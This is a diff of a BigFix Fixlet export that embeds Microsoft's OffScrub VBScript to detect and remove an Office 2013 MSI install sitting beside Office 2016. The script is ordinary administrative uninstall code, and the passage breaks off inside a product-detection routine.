-Sub RelaunchAsCScript
-    Dim Argument
-    Dim sCmdLine
-
-    sCmdLine = "cmd.exe /c " & WScript.Path & "\cscript.exe //NOLOGO " & Chr(34) & WScript.scriptFullName & Chr(34)
-    If Wscript.Arguments.Count > 0 Then
-        For Each Argument in Wscript.Arguments
-            sCmdLine = sCmdLine  &  " " & chr(34) & Argument & chr(34)
-        Next 'Argument
-    End If
-    Log "Relaunching with CScript as host. Full command: " & sCmdLine
-    Wscript.Quit oWShell.Run(sCmdLine, 1, True)
-End Sub 'RelaunchAsCScript
-'=======================================================================================================
-
-Sub RelaunchElevated
-    Dim Argument
-    Dim sCmdLine
-    Dim oShell
-
-    Set oShell = CreateObject("Shell.Application")
-
-    sCmdLine = Chr(34) & WScript.scriptFullName & Chr(34)
-    If Wscript.Arguments.Count > 0 Then
-        For Each Argument in Wscript.Arguments
-            Select Case UCase(Argument)
-            Case "/Q","/QUIET"
-                'Don't try to relaunch in quiet mode
-                Exit Sub
-            Case "UAC"
-                'Already tried elevated relaunch
-                Exit Sub
-            Case Else
-                sCmdLine = sCmdLine  &  " " & chr(34) & Argument & chr(34)
-            End Select
-        Next 'Argument
-    Else
-    	If Not sDefault = "" Then sCmdLine = sCmdLine & " " & chr(34) & sDefault & chr(34)
-    End If
-    oShell.ShellExecute "cscript.exe", sCmdLine & " /NoElevate UAC", "", "runas", 1
-    Wscript.Quit 5
-End Sub 'RelaunchElevated
-'=======================================================================================================
-
-'Show the expected syntax for the script usage
-Sub ShowSyntax
-    TmpKeyCleanUp
-    Wscript.Echo sErr & vbCrLf & _
-             SCRIPTFILE & " V " & SCRIPTVERSION & vbCrLf & _
-             "Copyright (c) Microsoft Corporation. All Rights Reserved" & vbCrLf & vbCrLf & _
-             SCRIPTFILE & " helps to remove " & ONAME & " Server & Client products" & vbCrLf & _
-             "when a regular uninstall is no longer possible" & vbCrLf & vbCrLf & _
-             "Usage:" & vbTab & SCRIPTFILE & " [List of config ProductIDs] [Options]" & vbCrLf & vbCrLf & _
-             vbTab & "/?                          ' Displays this help"& vbCrLf &_
-             vbTab & "/Log [LogfolderPath]        ' Custom folder for log files" & vbCrLf & _
-             vbTab & "/SkipSD                     ' Skips the ShortcutDetection in local profiles" & vbCrLf & _
-             vbTab & "/NoCancel                   ' Setup.exe and Msiexec.exe have no Cancel button" & vbCrLf &_
-             vbTab & "/Quiet                      ' Script, Setup.exe and Msiexec.exe run quiet with no UI" & vbCrLf &_
-             vbTab & "/Preview                    ' Run this script to preview what would get removed"& vbCrLf & vbCrLf & _
-             "Examples:"& vbCrLf & _
-             vbTab & SCRIPTFILE & " CLIENTSUITES    ' Remove all " & ONAME & " Client suites/products" & vbCrLf &_
-             vbTab & SCRIPTFILE & " CLIENTALL       ' Remove all " & ONAME & " Client products" & vbCrLf &_
-             vbTab & SCRIPTFILE & " SERVER          ' Remove all " & ONAME & " Server products" & vbCrLf &_
-             vbTab & SCRIPTFILE & " ALL             ' Remove all " & ONAME & " Server & Client products" & vbCrLf &_
-             vbTab & SCRIPTFILE & " ProPlus,PrjPro  ' Remove ProPlus and Project" & vbCrLf
-    Wscript.Quit
-End Sub 'ShowSyntax
-'=======================================================================================================
-_end_
-
-move __createfile "OffScrub_O15msi.vbs"
-
-waithidden cscript "OffScrub_O15msi.vbs"]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Microsoft Office 2013 and 2016 installed Side-by-Side - Windows
+  ID       : 23818
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-03-14T09:32:41
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Microsoft Office 2013 and 2016 installed Side-by-Side - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet detects an Office 2013 install on the same machine as an Office 2016 install and uses the Office Cleanup tool to remove&nbsp;the Microsoft Office 2013 Installation.</P>
+<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists keys whose (default value of it as string contains (regex &quot;Microsoft (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;15.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
+    <Relevance>exists keys whose (default value of it as string contains (regex &quot;Microsoft (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;16.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[delete "OffScrub_O15msi.vbs"
+
+createfile until _end_
+'=======================================================================================================
+' Name: OffScrub_O15msi.vbs
+' Author: Microsoft Customer Support Services
+' Copyright (c) 2011-2015 Microsoft Corporation
+' Script to remove (scrub) Office 2013 MSI products
+' when a regular uninstall is no longer possible
+'=======================================================================================================
+Option Explicit
+
+Dim sDefault
+'=======================================================================================================
+'[INI] Section for script behavior customizations
+
+'Pre-configure the SKU's to remove.
+'Only for use without command line parameters
+'Example: sDefault = "CLIENTALL"
+sDefault = ""
+
+'DO NOT CUSTOMIZE BELOW THIS LINE!
+'=======================================================================================================
+
+
+Const SCRIPTVERSION = "1.99"
+Const SCRIPTFILE    = "OffScrub_O15msi.vbs"
+Const SCRIPTNAME    = "OffScrub_O15msi"
+Const OVERSION      = "15.0"
+Const OVERSIONMAJOR = "15"
+Const OREF          = "Office15"
+Const OREGREF       = "OFFICE15."
+Const ONAME         = "Office 2013 MSI"
+Const OPACKAGE      = "PackageRefs"
+Const OFFICEID      = "000000FF1CE}"
+Const HKCR          = &H80000000
+Const HKCU          = &H80000001
+Const HKLM          = &H80000002
+Const HKU           = &H80000003
+Const FOR_WRITING   = 2
+Const PRODLEN       = 12
+Const COMPPERMANENT = "00000000000000000000000000000000"
+Const UNCOMPRESSED  = 38
+Const SQUISHED      = 20
+Const COMPRESSED    = 32
+Const REG_ARP       = "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\"
+Const VB_YES        = 6
+Const MSIOPENDATABASEREADONLY = 0
+Const LYNC_ALL      = "{{4A2C120F-307B-4400-B239-F29ADB54D3C6}{{5CFD6599-10E5-4CF0-B6E1-BF39D30A64F8}{{5CFD6599-10E5-4CF0-B6E1-BF39D30A64F8}{{BF3AC8BA-1A0F-42AD-8B65-4250617AF682}{{3475BF22-3564-4EF3-A633-C5F3F4582392}{{263BA91B-7782-4EEB-A4FC-7BD554CAF1F3}{{AA256AE1-6B6A-48E6-9957-B38F92CA614B}{{D79732A1-BB17-4789-AE75-69D61261E305}{{C7B887F2-07CA-4903-93A2-9B4E16E4EABD}{{81BE0B17-563B-45D4-B198-5721E6C665CD}{{11298539-8073-4D54-B6A0-88D4FA512E5C}{{C192041D-2861-4E02-9F43-4041858A58F1}{{7023C711-0E65-471E-8048-12C455968841}{{58A013B1-1613-4978-881A-FCA43710C84A}{{7FD6C049-9777-4B51-91FF-B19D79ADF439}{{D3001D99-675B-44DF-A8EB-A7BB6F864DB7}{{0C5EA724-8649-47FA-B505-75B35390378D}{{13DE0C92-2AE4-48D0-8CC8-58D5E327BDCB}{{E7EC16E6-C220-41C0-9C91-5E7702B8EC86}{{1B10C75C-70E1-460E-B07B-D7DFF365D80F}{{331977BC-B246-46B4-8829-1D52F41C8C7B}{{D8255EF2-0BB2-4AF1-A662-5EBACD179475}{{DD069437-C92B-4C1C-A992-14F6C7E12C2C}{{E9E30DB3-8D72-43A0-B1B8-A6F8261D20D6}{{545B7E32-E254-40E1-8935-91C61E3D02C2}{{70409E9E-AFAE-4C05-AE57-F83B89819434}{{1D6E3225-753D-41AD-A2C4-68684700F592}{{217AA75D-82C0-4C49-9252-A0E6F9661688}{{5AB81CD4-7C78-420C-AAAC-855C4BADBDDD}{{AA595672-6515-4961-B81F-485F86627C76}{{C9F2C38C-21F0-4687-8C7D-51AA02CE8C98}{{DD80DED6-700D-4CC5-B2A9-C64A1AD155B9}{{88257193-EC61-4152-8AB1-A5FB4BE638D7}{{7D9109C3-58A9-4AFD-A1D3-47E7D811726E}{{71C6D199-5B8E-41E7-BA36-D99F66E0072E}{{1CFE7869-777D-4563-8161-2C75ED95B621}{{FE25DDB2-5766-4A9E-86D2-2B709CC8F65D}{{621F7793-1C51-45BA-899F-41557946B0E3}{{B31017AA-FBF8-4003-8785-EC789C2AE0C2}{{11849FBC-C416-4742-8279-17C3A2C85F72}{{4F380D4B-A84D-45C7-AF58-59EA2AEDF35A}{{81BE0B17-563B-45D4-B198-5721E6C665CD}"
+
+
+'=======================================================================================================
+Dim oFso, oMsi, oReg, oWShell, oWmiLocal, oShellApp
+Dim ComputerItem, Item, LogStream, TmpKey
+Dim arrTmpSKUs, arrDeleteFiles, arrDeleteFolders, arrMseFolders, arrVersion
+Dim dictionaryKeepProd, dictionaryKeepLis, dicApps, dictionaryKeepFolder, dicDelRegKey, dictionaryKeepReg
+Dim dicInstalledSku, dicRemoveSku, dictionaryKeepSku, dicSrv, dicCSuite, dicCSingle
+Dim f64, fLegacyProductFound, fCScript
+Dim sErr, sTmp, sSkuRemoveList, sWinDir, sWICacheDir, sMode
+Dim sAppData, sTemp, sScrubDir, sProgramFiles, sProgramFilesX86, sCommonProgramFiles
+Dim sAllusersProfile, sOSinfo, sOSVersion, sCommonProgramFilesX86, sProfilesDirectory
+Dim sProgramData, sLocalAppData, sOInstallRoot, sScriptDir
+Dim iVersionNT
+
+'=======================================================================================================
+'Main
+'=======================================================================================================
+'Configure defaults
+Dim sLogDir : sLogDir = ""
+Dim sMoveMessage: sMoveMessage = ""
+Dim fRemoveOse      : fRemoveOse = False
+Dim fRemoveOspp     : fRemoveOspp = False
+Dim fRemoveAll      : fRemoveAll = False
+Dim fRemoveC2R      : fRemoveC2R = False
+Dim fRemoveAppV     : fRemoveAppV = False
+Dim fRemoveCSuites  : fRemoveCSuites = False
+Dim fRemoveCSingle  : fRemoveCSingle = False
+Dim fRemoveSrv      : fRemoveSrv = False
+Dim fRemoveLync     : fRemoveLync = False
+Dim fKeepUser       : fKeepUser = True  'Default to keep per user settings
+Dim fSkipSD         : fSkipSD = False 'Default to not Skip the Shortcut Detection
+Dim fKeepSG         : fKeepSG = False 'Default to not override the SoftGrid detection
+Dim fDetectOnly     : fDetectOnly = False
+Dim fQuiet          : fQuiet = True
+Dim fBasic          : fBasic = False
+Dim fNoCancel       : fNoCancel = False
+Dim fPassive        : fPassive = True
+Dim fNoReboot       : fNoReboot = True 'Default to offer reboot prompt if needed
+Dim fNoElevate      : fNoElevate = False
+Dim fElevated       : fElevated = False
+Dim fTryReconcile   : fTryReconcile = False
+Dim fC2rInstalled   : fC2rInstalled = False
+'CAUTION! -> "fForce" will kill running applications which can result in data loss! <- CAUTION
+Dim fForce          : fForce = False
+'CAUTION! -> "fForce" will kill running applications which can result in data loss! <- CAUTION
+Dim fLogInitialized : fLogInitialized = False
+Dim fBypass_Stage1  : fBypass_Stage1 = True 'Component Detection
+Dim fBypass_Stage2  : fBypass_Stage2 = False 'Setup
+Dim fBypass_Stage3  : fBypass_Stage3 = False 'Msiexec
+Dim fBypass_Stage4  : fBypass_Stage4 = False 'CleanUp
+Dim fRebootRequired : fRebootRequired = False
+
+'Create required objects
+Set oWmiLocal   = GetObject("winmgmts:{{(Debug)}\\.\root\cimv2")
+Set oWShell     = CreateObject("Wscript.Shell")
+Set oShellApp   = CreateObject("Shell.Application")
+Set oFso        = CreateObject("Scripting.FileSystemObject")
+Set oMsi        = CreateObject("WindowsInstaller.Installer")
+Set oReg        = GetObject("winmgmts:\\.\root\default:StdRegProv")
+
+'Get environment path info
+sAppData            = oWShell.ExpandEnvironmentStrings("%appdata%")
+sLocalAppData       = oWShell.ExpandEnvironmentStrings("%localappdata%")
+sTemp               = oWShell.ExpandEnvironmentStrings("%temp%")
+sAllUsersProfile    = oWShell.ExpandEnvironmentStrings("%allusersprofile%")
+RegReadValue HKLM, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList", "ProfilesDirectory", sProfilesDirectory, "REG_EXPAND_SZ"
+If NOT oFso.FolderExists(sProfilesDirectory) Then
+    sProfilesDirectory  = oFso.GetParentFolderName(oWShell.ExpandEnvironmentStrings("%userprofile%"))
+End If
+sProgramFiles       = oWShell.ExpandEnvironmentStrings("%programfiles%")
+'Deferred until after architecture check
+'sProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%programfiles(x86)%")
+
+sCommonProgramFiles = oWShell.ExpandEnvironmentStrings("%commonprogramfiles%")
+'Deferred until after architecture check
+'sCommonProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%CommonProgramFiles(x86)%")
+
+sProgramData        = oWSHell.ExpandEnvironmentStrings("%programdata%")
+sWinDir             = oWShell.ExpandEnvironmentStrings("%windir%")
+sWICacheDir         = sWinDir & "\" & "Installer"
+sScrubDir           = sTemp & "\" & SCRIPTNAME
+sScriptDir          = wscript.ScriptFullName
+sScriptDir          = Left(sScriptDir, InStrRev(sScriptDir, "\"))
+
+' Get current script host
+fCScript = UCase(Mid(Wscript.FullName, Len(Wscript.Path) + 2, 1)) = "C"
+
+'Detect if we're running on a 64 bit OS
+Set ComputerItem = oWmiLocal.ExecQuery("Select * from Win32_ComputerSystem")
+For Each Item In ComputerItem
+    f64 = Instr(Left(Item.SystemType,3),"64") > 0
+    If f64 Then Exit For
+Next
+If f64 Then sProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%programfiles(x86)%")
+If f64 Then sCommonProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%CommonProgramFiles(x86)%")
+
+'Get OS details and VersionNT
+Set ComputerItem = oWmiLocal.ExecQuery("Select * from Win32_OperatingSystem")
+For Each Item in ComputerItem
+    sOSinfo = sOSinfo & Item.Caption
+    sOSinfo = sOSinfo & Item.OtherTypeDescription
+    sOSinfo = sOSinfo & ", " & "SP " & Item.ServicePackMajorVersion
+    sOSinfo = sOSinfo & ", " & "Version: " & Item.Version
+    sOsVersion = Item.Version
+    sOSinfo = sOSinfo & ", " & "Codepage: " & Item.CodeSet
+    sOSinfo = sOSinfo & ", " & "Country Code: " & Item.CountryCode
+    sOSinfo = sOSinfo & ", " & "Language: " & Item.OSLanguage
+Next
+
+'Build the VersionNT number
+arrVersion = Split(sOsVersion, Delimiter(sOsVersion))
+iVersionNt = CInt(arrVersion (0)) * 100 + CInt(arrVersion (1))
+
+'Check if we're running as 32 bit process on a 64 bit OS
+If InStr(LCase(wscript.path), "syswow64") > 0 Then RelaunchAs64Host
+
+fElevated = CheckRegPermissions
+If NOT fElevated AND NOT fNoElevate Then
+    'Try to relaunch elevated
+    RelaunchElevated
+
+    'Can't relaunch. Exit out
+    If UCase(Mid(Wscript.FullName, Len(Wscript.Path) + 2, 1)) = "C" Then
+        If Not fLogInitialized Then CreateLog
+        Log "Insufficient registry access permissions - exiting"
+    End If
+    'Undo temporary entries created in ARP
+    TmpKeyCleanUp
+    wscript.quit 3
+End If
+
+'Create Dictionaries
+Set dictionaryKeepProd = CreateObject("Scripting.Dictionary")
+Set dicInstalledSku = CreateObject("Scripting.Dictionary")
+Set dicRemoveSku = CreateObject("Scripting.Dictionary")
+Set dictionaryKeepSku = CreateObject("Scripting.Dictionary")
+Set dictionaryKeepLis = CreateObject("Scripting.Dictionary")
+Set dictionaryKeepFolder = CreateObject("Scripting.Dictionary")
+Set dicApps = CreateObject("Scripting.Dictionary")
+Set dicDelRegKey = CreateObject("Scripting.Dictionary")
+Set dictionaryKeepReg = CreateObject("Scripting.Dictionary")
+Set dicSrv = CreateObject("Scripting.Dictionary")
+Set dicCSuite = CreateObject("Scripting.Dictionary")
+Set dicCSingle = CreateObject("Scripting.Dictionary")
+
+'Create the temp folder
+If Not oFso.FolderExists(sScrubDir) Then oFso.CreateFolder sScrubDir
+
+'Set the default logging directory
+sLogDir = sScrubDir
+
+'Call the command line parser
+ParseCmdLine
+
+'Ensure CScript as engine
+If NOT fCScript AND NOT fQuiet Then RelaunchAsCScript
+
+'Get Office Install Folder
+If NOT RegReadValue(HKLM,"SOFTWARE\Microsoft\Office\"&OVERSION&"\Common\InstallRoot","Path",sOInstallRoot,"REG_SZ") Then
+    sOInstallRoot = sProgramFiles & "\Microsoft Office\"&OREF
+End If
+
+'Ensure integrity of WI metadata which could fail used APIs otherwise
+EnsureValidWIMetadata HKCU,"Software\Classes\Installer\Products",COMPRESSED
+EnsureValidWIMetadata HKCR,"Installer\Products",COMPRESSED
+EnsureValidWIMetadata HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products",COMPRESSED
+EnsureValidWIMetadata HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components",COMPRESSED
+EnsureValidWIMetadata HKCR,"Installer\Components",COMPRESSED
+
+'Add initial known .exe files that might need to be closed
+dicApps.Add "communicator.exe", "communicator.exe"
+dicApps.Add "setup.exe", "setup.exe"
+Select Case OVERSIONMAJOR
+Case "12"
+Case "14"
+    dicApps.Add "bcssync.exe","bcssync.exe"
+    dicApps.Add "officesas.exe","officesas.exe"
+    dicApps.Add "officesasscheduler.exe","officesasscheduler.exe"
+    dicApps.Add "msosync.exe","msosync.exe"
+    dicApps.Add "onenotem.exe","onenotem.exe"
+Case "15"
+Case Else
+End Select
+
+'-------------------
+'Stage # 0 - Basics |
+'-------------------
+'Build a list with installed/registered Office products
+sTmp = "Stage # 0 " & chr(34) & "Basics" & chr(34) & " (" & Time & ")"
+Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
+
+FindInstalledOProducts
+If dicInstalledSku.Count > 0 Then Log "Found registered product(s): " & Join(RemoveDuplicates(dicInstalledSku.Items),",") &vbCrLf
+
+'Validate the list of products we got from the command line if applicable
+ValidateRemoveSkuList
+
+'Log detection results
+If dicRemoveSku.Count > 0 Then Log "Product(s) to be removed: " & Join(RemoveDuplicates(dicRemoveSku.Items),",")
+sMode = "Selected " & ONAME & " products"
+If NOT dicRemoveSku.Count > 0 Then sMode = "Orphaned " & ONAME & " products"
+If fRemoveAll Then sMode = "All " & ONAME & " products"
+Log "Final removal mode: " & sMode
+Log "Remove OSE service: " & fRemoveOse &vbCrLf
+
+'Log preview mode if applicable
+If fDetectOnly Then Log "*************************************************************************"
+If fDetectOnly Then Log "*                          PREVIEW MODE                                 *"
+If fDetectOnly Then Log "* All uninstall and delete operations will only be logged not executed! *"
+If fDetectOnly Then Log "*************************************************************************" & vbCrLf
+
+'Check if there are legacy products installed
+CheckForLegacyProducts
+If fLegacyProductFound Then Log "Found legacy Office products that will not be removed." Else Log "No legacy Office products found."
+
+'Cache .msi files
+If dicRemoveSku.Count > 0 Then CacheMsiFiles
+
+'Log Sku/Prod detection results
+LogSkuResults
+
+'UnPin Shortcuts
+If NOT fSkipSD AND dicRemoveSku.Count > 0 Then
+    On Error Resume Next
+    Log " Searching for pinned shortcuts"
+    CleanShortcuts sAllUsersProfile, False, True
+    CleanShortcuts sProfilesDirectory, False, True
+    On Error Goto 0
+End If 'NOT SkipSD
+
+
+'--------------------------------
+'Stage # 1 - Component Detection |
+'--------------------------------
+sTmp = "Stage # 1 " & chr(34) & "Component Detection" & chr(34) & " (" & Time & ")"
+Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
+If Not fBypass_Stage1 OR fForce Then
+    'Build a list with files which are installed/registered to a product that's going to be removed
+    Log "Prepare for CleanUp stages."
+    Log "Identifying removable elements. This can take several minutes."
+    ScanComponents
+Else
+    Log "Not running Component Detection in default removal."
+End If
+
+'End all running Office applications
+If fForce OR fQuiet OR fPassive Then CloseOfficeApps
+
+'----------------------
+'Stage # 2 - Setup.exe |
+'----------------------
+sTmp = "Stage # 2 " & chr(34) & "Setup.exe" & chr(34) & " (" & Time & ")"
+Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
+If Not fBypass_Stage2 Then
+    SetupExeRemoval
+Else
+    Log "Skipping Setup.exe because bypass was requested."
+End If
+
+'------------------------
+'Stage # 3 - Msiexec.exe |
+'------------------------
+sTmp = "Stage # 3 " & chr(34) & "Msiexec.exe" & chr(34) & " (" & Time & ")"
+Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
+If Not fBypass_Stage3 Then
+    MsiexecRemoval
+Else
+    Log "Skipping Msiexec.exe because bypass was requested."
+End If
+
+'--------------------
+'Stage # 4 - CleanUp |
+'--------------------
+'Removal of files and registry settings
+sTmp = "Stage # 4 " & chr(34) & "CleanUp" & chr(34) & " (" & Time & ")"
+Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
+If Not fBypass_Stage4 Then
+
+    'Office Source Engine
+    If fRemoveOse Then RemoveOSE
+
+    'Local Installation Source (MSOCache)
+    WipeLIS
+
+    'Obsolete files
+    If fRemoveAll Then
+        FileWipeAll
+    Else
+        FileWipeIndividual
+    End If
+
+    'Empty Folders
+    DeleteEmptyFolders
+
+    'Restore Explorer if needed
+    If fForce OR fQuiet OR fPassive Then RestoreExplorer
+
+    'Registry data
+    RegWipe
+
+    'Wipe orphaned files from Windows Installer cache
+    MsiClearOrphanedFiles
+
+    'Temporary .msi files in scrubcache
+    DeleteMsiScrubCache
+
+    'Temporary files
+    DelScrubTmp
+
+Else
+    Log "Skipping CleanUp because bypass was requested."
+End If
+
+If Not sMoveMessage = "" Then Log vbCrLf & "Please remove this folder after next reboot: " & sMoveMessage
+
+'THE END
+Log vbCrLf & "End removal: " & Now & vbCrLf
+Log vbCrLf & "For detailed logging please refer to the log in folder " &chr(34)&sScrubDir&chr(34)&vbCrLf
+
+If fRebootRequired Then
+    Log vbCrLf & "A restart is required to complete the operation!"
+    If NOT (fQuiet OR fPassive OR fNoReboot) Then
+        If MsgBox("Do you want to reboot now?",vbYesNo,"Reboot Required") = VB_YES Then
+            Dim colOS, oOS
+            Dim oWmiReboot
+            Set oWmiReboot = GetObject("winmgmts:{{impersonationLevel=impersonate,(Shutdown)}!\\.\root\cimv2")
+            Set colOS = oWmiReboot.ExecQuery ("Select * from Win32_OperatingSystem")
+            For Each oOS in colOS
+                oOS.Reboot()
+            Next
+        End If
+    End If
+End If
+
+If NOT (fQuiet OR fPassive) Then
+    For Each Item in Wscript.Arguments
+        If Item = "UAC" Then
+            If fCscript Then wscript.stdout.write "Press <Enter> to close this window"
+            sTemp = wscript.stdin.read(1)
+        End If
+    Next 'Argument
+End If
+'=======================================================================================================
+'=======================================================================================================
+
+'Stage 0 - 4 Subroutines
+'=======================================================================================================
+
+'Office configuration products are listed with their configuration product name in the "Uninstall" key
+'To identify an Office configuration product all of these condiditions have to be met:
+' - "SystemComponent" does not have a value of "1" (DWORD)
+' - "OPACKAGE" (see constant declaration) entry exists and is not empty
+' - "DisplayVersion" exists and the 2 leftmost digits are "OVERSIONMAJOR"
+Sub FindInstalledOProducts
+    Dim ArpItem, File
+    Dim sCurKey, sValue, sConfigName, sProdC, sCVHValue
+    Dim sProductCodeList, sProductCode
+    Dim arrKeys, arrMultiSzValues
+    Dim fSystemComponent0, fPackages, fDisplayVersion, fReturn, fCategorized
+
+    If dicInstalledSku.Count > 0 Then Exit Sub 'Already done from InputBox prompt
+
+    'Handle orphaned products to get them added to the detection scope
+    If fTryReconcile Then
+        For Each File in oFso.GetFolder(sWICacheDir).Files
+            If Len(File.Name)>3 Then
+                Select Case LCase(Right(File.Name, 4))
+                Case ".msi"
+                    sProductCode = ""
+                    sProductCode = GetMsiProductCode(File.Path)
+                    If InScope(sProductCode) Then
+                        If NOT RegKeyExists(HKLM, REG_ARP & sProductCode) Then
+                            'Ensure the orphaned item is getting removed
+                            If Len(sSkuRemoveList) > 0 Then
+                                sSkuRemoveList = sSkuRemoveList & "," & GetProductID(Mid(sProductCode, 11, 4))
+                            Else
+                                sSkuRemoveList = GetProductID(Mid(sProductCode, 11, 4))
+                            End If
+                            'Add to ScrubDir
+                            oFso.CopyFile File.Path,sScrubDir & "\" & sProductCode & ".msi",True
+                            'Register the product with MSI
+                            MsiRegisterProduct File.Path
+                        End If 'NOT sProductCode
+                    End If 'InScope
+                Case Else
+                End Select
+            End If '>3
+        Next 'File
+    End If 'fTryReconcile
+
+    'Locate standalone Office products that have no configuration product entry and create a
+    'temporary configuration entry
+    ReDim arrTmpSKUs(-1)
+    If RegEnumKey(HKLM, REG_ARP, arrKeys) Then
+        For Each ArpItem in arrKeys
+            If InScope(ArpItem) Then
+                sCurKey = REG_ARP & ArpItem & "\"
+                fSystemComponent0 = Not (RegReadValue(HKLM, sCurKey, "SystemComponent", sValue, "REG_DWORD") AND (sValue = "1"))
+                If fSystemComponent0 Then
+                    RegReadValue HKLM, sCurKey, "DisplayVersion", sValue, "REG_SZ"
+                    Redim arrMultiSzValues(0)
+                    'Logic changed to drop the LCID identifier
+                    'sConfigName = GetProductID(Mid(ArpItem,11,4)) & "_" & CInt("&h" & Mid(ArpItem,16,4))
+                    sConfigName = OREGREF & GetProductID(Mid(ArpItem, 11, 4))
+                    If NOT RegKeyExists(HKLM, REG_ARP&sConfigName) Then
+                        'Create a new ARP item
+                        ReDim Preserve arrTmpSKUs(UBound(arrTmpSKUs) + 1)
+                        arrTmpSKUs(UBound(arrTmpSKUs)) = sConfigName
+                        oReg.CreateKey HKLM, REG_ARP & sConfigName
+                        arrMultiSzValues(0) = sConfigName
+                        oReg.SetMultiStringValue HKLM, REG_ARP & sConfigName, OPACKAGE, arrMultiSzValues
+                        arrMultiSzValues(0) = ArpItem
+                        oReg.SetStringValue HKLM, REG_ARP & sConfigName, "Comment", "Temporary OffScrub generated key. Please delete this key!"
+                        oReg.SetMultiStringValue HKLM, REG_ARP & sConfigName, "ProductCodes", arrMultiSzValues
+                        oReg.SetStringValue HKLM, REG_ARP & sConfigName, "DisplayVersion", sValue
+                        oReg.SetStringValue HKLM, REG_ARP & sConfigName, "DisplayName", SCRIPTNAME & "_" & sConfigName
+                        oReg.SetDWordValue HKLM, REG_ARP & sConfigName, "SystemComponent", 0
+                    Else
+                        'Update the existing temporary ARP item
+                        fReturn = RegReadValue(HKLM, REG_ARP&sConfigName, "ProductCodes", sProdC, "REG_MULTI_SZ")
+                        If NOT InStr(sProdC, ArpItem) > 0 Then sProdC = sProdC & chr(34) & ArpItem
+                        oReg.SetMultiStringValue HKLM, REG_ARP & sConfigName, "ProductCodes", Split(sProdC, Chr(34))
+                    End If 'RegKeyExists
+                End If 'fSystemComponent0
+            End If 'InScope
+        Next 'ArpItem
+    End If 'RegEnumKey
+
+    'Find the configuration products
+    If RegEnumKey(HKLM, REG_ARP, arrKeys) Then
+        For Each ArpItem in arrKeys
+            sCurKey = REG_ARP & ArpItem & "\"
+            sValue = ""
+            fSystemComponent0 = NOT (RegReadValue(HKLM, sCurKey, "SystemComponent", sValue, "REG_DWORD") AND (sValue = "1"))
+            fPackages = RegReadValue(HKLM, sCurKey, OPACKAGE, sValue, "REG_MULTI_SZ")
+            fDisplayVersion = RegReadValue(HKLM, sCurKey, "DisplayVersion", sValue, "REG_SZ")
+            If fDisplayVersion Then
+                If Len(sValue) > 1 Then
+                    fDisplayVersion = (Left(sValue, 2) = OVERSIONMAJOR)
+                Else
+                    fDisplayVersion = False
+                End If
+            End If
+            'fSystemComponent0 filter causes issues if the ARP entries have been hidden
+            'If (fSystemComponent0 AND fPackages AND fDisplayVersion) Then
+            If (fPackages AND fDisplayVersion) Then
+                If InStr(ArpItem,".") > 0 Then sConfigName = UCase(Mid(ArpItem, InStr(ArpItem, ".") + 1)) Else sConfigName = UCase(ArpItem)
+                If NOT dicInstalledSku.Exists(sConfigName) Then dicInstalledSku.Add sConfigName, sConfigName
+
+                'Categorize the SKU
+                'Four categories are available: ClientSuite, ClientSingleProduct, Server, C2R
+                If RegReadValue(HKLM, REG_ARP & OREGREF & sConfigName, "ProductCodes", sProductCodeList, "REG_MULTI_SZ") Then
+                    fCategorized = False
+                    For Each sProductCode in Split(sProductCodeList, Chr(34))
+                        If Len(sProductCode) = 38 Then
+                            If Mid(sProductCode, 11, 1) = "1" Then
+                                'Server product
+                                If NOT dicSrv.Exists(UCase(sConfigName)) Then dicSrv.Add UCase(sConfigName), sConfigName
+                                fCategorized = True
+                                Exit For
+                            Else
+                                Select Case Mid(sProductCode, 11, 4)
+                                'Client Suites
+                                Case "000F","0011","0012","0013","0014","0015","0016","0017","0018","0019","001A","001B","0029","002B","002E","002F","0030","0031","0033","0035","0037","003D","0044","0049","0061","0062","0066","006C","006D","006F","0074","00A1","00A3","00A9","00BA","00CA","00E0","0100","0103","011A"
+                                    If NOT dicCSuite.Exists(UCase(sConfigName)) Then dicCSuite.Add UCase(sConfigName), sConfigName
+                                    fCategorized = True
+                                    Exit For
+
